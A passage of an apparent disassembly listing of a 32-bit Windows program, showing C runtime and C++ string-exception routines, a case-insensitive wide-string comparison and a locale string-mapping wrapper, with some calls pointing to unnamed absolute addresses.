		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4262DF
; ---------------------------------------------------------------------------


loc_4262AD:				; CODE XREF: sub_4261AB+BDj
					; sub_4261AB+C2j
		test	ebx, ebx
		jnz	short loc_42632B
		test	esi, esi
		jge	short loc_4262B7
		neg	esi


loc_4262B7:				; CODE XREF: sub_4261AB+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41B202
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_42620F
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4262DA:				; CODE XREF: sub_4261AB+F8j
		mov	dword_4E0B50, eax


loc_4262DF:				; CODE XREF: sub_4261AB+F6j
					; sub_4261AB+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_42632B
		push	[ebp+arg_0]
		call	sub_41AFE0
		inc	eax
		inc	eax
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_42632B
		push	[ebp+arg_0]
		push	esi
		call	sub_41BEB0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		nop
		call	near ptr 25E0000h
		push	esi
		call	sub_41B0B1
		pop	ecx


loc_42632B:				; CODE XREF: sub_4261AB+6Ej
					; sub_4261AB+104j ...
		xor	eax, eax
		jmp	loc_426212
sub_4261AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_426332	proc near		; CODE XREF: sub_4261AB+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4E0B50
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_42636D
		mov	edi, [esp+8+arg_4]


loc_426344:				; CODE XREF: sub_426332+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_425E56
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_426363
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_42637D
		test	al, al
		jz	short loc_42637D


loc_426363:				; CODE XREF: sub_426332+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_426344


loc_42636D:				; CODE XREF: sub_426332+Cj
		mov	eax, esi
		sub	eax, dword_4E0B50
		sar	eax, 2
		neg	eax


loc_42637A:				; CODE XREF: sub_426332+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42637D:				; CODE XREF: sub_426332+2Bj
					; sub_426332+2Fj
		mov	eax, esi
		sub	eax, dword_4E0B50
		sar	eax, 2
		jmp	short loc_42637A
sub_426332	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638A	proc near		; CODE XREF: sub_4261AB+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_426399
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426399:				; CODE XREF: sub_42638A+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4263AB


loc_4263A1:				; CODE XREF: sub_42638A+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4263A1


loc_4263AB:				; CODE XREF: sub_42638A+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4263CC
		push	9
		call	sub_41DA29
		pop	ecx


loc_4263CC:				; CODE XREF: sub_42638A+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4263D0:				; CODE XREF: sub_42638A+5Bj
		test	eax, eax
		jz	short loc_4263E7
		push	eax
		add	ebx, 4
		call	sub_426464
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4263D0
; ---------------------------------------------------------------------------


loc_4263E7:				; CODE XREF: sub_42638A+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_42638A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263F1	proc near		; CODE XREF: sub_4261AB+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4E1F9C, 0
		jnz	short loc_42640C
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41BFB0
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42640C:				; CODE XREF: sub_4263F1+Aj
		mov	ecx, [ebp+arg_0]


loc_42640F:				; CODE XREF: sub_4263F1+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_426452
		movzx	edx, al
		test	byte_4E20A1[edx], 4
		jz	short loc_42643E
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_426449
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_42644D
		jmp	short loc_426446
; ---------------------------------------------------------------------------


loc_42643E:				; CODE XREF: sub_4263F1+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_426452


loc_426446:				; CODE XREF: sub_4263F1+4Bj
		inc	ecx
		jmp	short loc_42640F
; ---------------------------------------------------------------------------


loc_426449:				; CODE XREF: sub_4263F1+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42644D:				; CODE XREF: sub_4263F1+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_426452:				; CODE XREF: sub_4263F1+25j
					; sub_4263F1+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4263F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_426464	proc near		; CODE XREF: sub_417EEE+21p
					; sub_42638A+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_42648B
		push	esi
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41B4D5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42648B
		push	esi
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42648B:				; CODE XREF: sub_426464+7j
					; sub_426464+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_426464	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426490	proc near		; CODE XREF: sub_426573+19p
					; sub_42669A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D6EF
		mov	eax, esi
		pop	esi
		retn	8
sub_426490	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264BA	proc near		; CODE XREF: ___:004264E5p
					; sub_426568+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_40D6B3
		mov	ecx, esi
		pop	esi
		jmp	sub_4268B6
sub_4264BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4264D5	proc near		; DATA XREF: ___:00427D10o
					; ___:00427D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4264E1
		mov	eax, offset dword_4276A8

locret_4264E1:				; CODE XREF: sub_4264D5+5j
		retn
sub_4264D5	endp

; ---------------------------------------------------------------------------


loc_4264E2:				; DATA XREF: ___:off_427D0Co
		push	esi
		mov	esi, ecx
		call	sub_4264BA
		test	byte ptr [esp+8], 1
		jz	short loc_4264F8
		push	esi
		call	sub_41CC83
		pop	ecx


loc_4264F8:				; CODE XREF: ___:004264EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4264FE	proc near		; CODE XREF: sub_426573+29p
		mov	eax, offset loc_426E32
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4264FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42654C	proc near		; DATA XREF: ___:off_427D1Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426568
		test	[esp+4+arg_0], 1
		jz	short loc_426562
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426562:				; CODE XREF: sub_42654C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42654C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426568	proc near		; CODE XREF: sub_42654C+3p
					; DATA XREF: ___:00428094o
		mov	dword ptr [ecx], offset	off_427D1C
		jmp	sub_4264BA
sub_426568	endp


; =============== S U B	R O U T	I N E =======================================



sub_426573	proc near		; CODE XREF: sub_40D560+13p
					; sub_40D724+Ep
		mov	eax, offset loc_426E44
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4264FE
		push	offset dword_428090
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_426573	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4265B0	proc near		; CODE XREF: sub_4264FE+32p
					; sub_4265D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D560
		mov	eax, esi
		pop	esi
		retn	4
sub_4265B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4265D0	proc near		; CODE XREF: sub_42669A+29p
		mov	eax, offset loc_426E56
		call	sub_41CC64
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427D28
		call	sub_42682F
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4265D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426618	proc near		; CODE XREF: sub_426682+7p
					; sub_4266DE+7p ...
		mov	eax, offset loc_426E68
		call	sub_41CC64
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42686C
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427D0C
		call	sub_4265B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426618	endp


; =============== S U B	R O U T	I N E =======================================



sub_42665B	proc near		; DATA XREF: ___:off_427D48o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426677
		test	[esp+4+arg_0], 1
		jz	short loc_426671
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: ___:0042813Co
		mov	dword ptr [ecx], offset	off_427D48
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D1C
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================



sub_42669A	proc near		; CODE XREF: sub_40D4B0+15p
					; sub_40D509+15p ...
		mov	eax, offset loc_426E7A
		call	sub_41CC64
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426490
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4265D0
		push	offset dword_428138
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427D48
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D48
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4266F6	proc near		; DATA XREF: ___:00427D14o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428178
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: ___:00427D50o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428138
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: ___:00427D24o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428090
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4268D9
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426750	proc near
		jmp	near ptr 71B2ACCBh
sub_426750	endp

; ---------------------------------------------------------------------------
		db 76h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426756	proc near		; CODE XREF: sub_40CE40+5Ep
					; ___:00414BE5p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42675C	proc near		; CODE XREF: sub_41C8D0+23p
					; sub_41CB74+13p
		nop
		jmp	near ptr 2880000h
sub_42675C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426762	proc near		; CODE XREF: sub_417275+E2p
					; sub_417275+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4E0BE4, 0
		push	ebx
		jnz	short loc_4267A8
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_426774:				; CODE XREF: sub_426762+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426786
		cmp	bx, 41h
		jb	short loc_426786
		add	ebx, 20h


loc_426786:				; CODE XREF: sub_426762+19j
					; sub_426762+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_426798
		cmp	ax, 41h
		jb	short loc_426798
		add	eax, 20h


loc_426798:				; CODE XREF: sub_426762+2Bj
					; sub_426762+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_4267D8
		cmp	bx, ax
		jz	short loc_426774
		jmp	short loc_4267D8
; ---------------------------------------------------------------------------


loc_4267A8:				; CODE XREF: sub_426762+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_4267B2:				; CODE XREF: sub_426762+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_426913
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_426913
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_4267D6
		cmp	bx, ax
		jz	short loc_4267B2


loc_4267D6:				; CODE XREF: sub_426762+6Dj
		pop	edi
		pop	esi


loc_4267D8:				; CODE XREF: sub_426762+3Dj
					; sub_426762+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_426762	endp


; =============== S U B	R O U T	I N E =======================================



sub_4267E2	proc near		; CODE XREF: ___:004267FAp
		mov	dword ptr [ecx], offset	off_427D68
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4267F6
		push	ecx
		call	sub_41B0B1
		pop	ecx

locret_4267F6:				; CODE XREF: sub_4267E2+Bj
		retn
sub_4267E2	endp

; ---------------------------------------------------------------------------


loc_4267F7:				; DATA XREF: ___:off_427D68o
		push	esi
		mov	esi, ecx
		call	sub_4267E2
		test	byte ptr [esp+8], 1
		jz	short loc_42680D
		push	esi
		call	sub_41CC83
		pop	ecx


loc_42680D:				; CODE XREF: ___:00426804j
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_426813:				; DATA XREF: ___:off_427D70o
		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	byte ptr [esp+8], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: ___:00426820j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42682F	proc near		; CODE XREF: sub_4264FE+1Dp
					; sub_4265D0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		push	dword ptr [edi]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42685E
		push	dword ptr [edi]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_42685E:				; CODE XREF: sub_42682F+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42682F	endp


; =============== S U B	R O U T	I N E =======================================



sub_42686C	proc near		; CODE XREF: sub_426618+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_427D70
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_4268A9
		push	dword ptr [edi+4]
		call	sub_41AFE0
		inc	eax
		push	eax
		call	sub_41CFC5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_4268AF
		push	dword ptr [edi+4]
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx
		jmp	short loc_4268AF
; ---------------------------------------------------------------------------


loc_4268A9:				; CODE XREF: sub_42686C+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_4268AF:				; CODE XREF: sub_42686C+2Ej
					; sub_42686C+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42686C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; ___:00426816p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D70
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4268CC	proc near		; DATA XREF: ___:00427D74o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4268D8
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4268D8:				; CODE XREF: sub_4268CC+5j
		retn
sub_4268CC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4268D9	proc near		; CODE XREF: sub_426573+37p
					; sub_42669A+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_427D90
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		nop
		call	near ptr 2670384h
		pop	edi
		pop	esi
		leave
		retn	8
sub_4268D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426913	proc near		; CODE XREF: sub_426762+56p
					; sub_426762+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_426925
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_426925:				; CODE XREF: sub_426913+Bj
		cmp	dword_4E0BE4, 0
		jnz	short loc_42693F
		cmp	ax, 41h
		jb	short locret_426986
		cmp	ax, 5Ah
		ja	short locret_426986
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_42693F:				; CODE XREF: sub_426913+19j
		cmp	ax, 100h
		jnb	short loc_426959
		push	1
		push	eax
		call	sub_426BC1
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_426959
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_426959:				; CODE XREF: sub_426913+30j
					; sub_426913+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	dword_4E0BE4
		call	sub_426988
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_426986
		mov	ax, [ebp+var_2]

locret_426986:				; CODE XREF: sub_426913+1Fj
					; sub_426913+25j ...
		leave
		retn
sub_426913	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426988	proc near		; CODE XREF: sub_426913+5Fp

var_2C		= dword	ptr -2Ch
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_427DB0
		push	offset sub_4234B8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	esi, esi
		cmp	dword_4E0E3C, esi
		jnz	short loc_4269FE
		push	esi
		push	esi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_427940
		mov	edi, 100h
		push	edi
		push	esi
		nop
		call	near ptr 2650000h
		test	eax, eax
		jz	short loc_4269DC
		mov	dword_4E0E3C, ebx
		jmp	short loc_4269FE
; ---------------------------------------------------------------------------


loc_4269DC:				; CODE XREF: sub_426988+4Aj
		push	esi
		push	esi
		push	ebx
		push	offset dword_4D06DC
		push	edi
		push	esi
		call	near ptr 2660000h
		nop
		test	eax, eax
		jz	loc_426B7D
		mov	dword_4E0E3C, 2


loc_4269FE:				; CODE XREF: sub_426988+2Ej
					; sub_426988+52j
		cmp	[ebp+arg_C], esi
		jle	short loc_426A13
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_426B91
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_426A13:				; CODE XREF: sub_426988+79j
		mov	eax, dword_4E0E3C
		cmp	eax, 1
		jnz	short loc_426A3A
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2650000h
		jmp	loc_426B7F
; ---------------------------------------------------------------------------


loc_426A3A:				; CODE XREF: sub_426988+93j
		cmp	eax, 2
		jnz	loc_426B7D
		cmp	[ebp+arg_18], esi
		jnz	short loc_426A50
		mov	eax, dword_4E0BF4
		mov	[ebp+arg_18], eax


loc_426A50:				; CODE XREF: sub_426988+BEj
		push	esi
		push	esi
		push	esi
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		mov	[ebp+var_20], eax
		cmp	eax, esi
		jz	loc_426B7D
		mov	[ebp+var_4], esi
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_1C], eax
		jmp	short loc_426A96
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		mov	[ebp+var_1C], esi


loc_426A96:				; CODE XREF: sub_426988+100j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	[ebp+var_1C], esi
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 2830000h
		test	eax, eax
		jz	loc_426B7D
		push	esi
		push	esi
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		mov	edi, eax
		mov	[ebp+var_2C], edi
		cmp	edi, esi
		jz	loc_426B7D
		mov	[ebp+var_4], 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41BB20
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_426B19
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	esi, esi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+var_2C]


loc_426B19:				; CODE XREF: sub_426988+17Dj
		cmp	ebx, esi
		jz	short loc_426B7D
		push	edi
		push	ebx
		push	[ebp+var_20]
		push	[ebp+var_1C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		test	eax, eax
		jz	short loc_426B7D
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_426B57
		mov	eax, [ebp+arg_14]
		cmp	eax, esi
		jz	short loc_426B79
		cmp	eax, edi
		jl	short loc_426B48
		mov	eax, edi


loc_426B48:				; CODE XREF: sub_426988+1BCj
		push	eax
		push	ebx
		push	[ebp+arg_10]
		call	sub_41B5F0
		add	esp, 0Ch
		jmp	short loc_426B79
; ---------------------------------------------------------------------------


loc_426B57:				; CODE XREF: sub_426988+1B1j
		cmp	[ebp+arg_14], esi
		jnz	short loc_426B60
		push	esi
		push	esi
		jmp	short loc_426B66
; ---------------------------------------------------------------------------


loc_426B60:				; CODE XREF: sub_426988+1D2j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_426B66:				; CODE XREF: sub_426988+1D6j
		push	edi
		push	ebx
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2840000h
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_426B7D


loc_426B79:				; CODE XREF: sub_426988+1B8j
					; sub_426988+1CDj
		mov	eax, edi
		jmp	short loc_426B7F
; ---------------------------------------------------------------------------


loc_426B7D:				; CODE XREF: sub_426988+66j
					; sub_426988+B5j ...
		xor	eax, eax


loc_426B7F:				; CODE XREF: sub_426988+ADj
					; sub_426988+1F3j
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426988	endp


; =============== S U B	R O U T	I N E =======================================



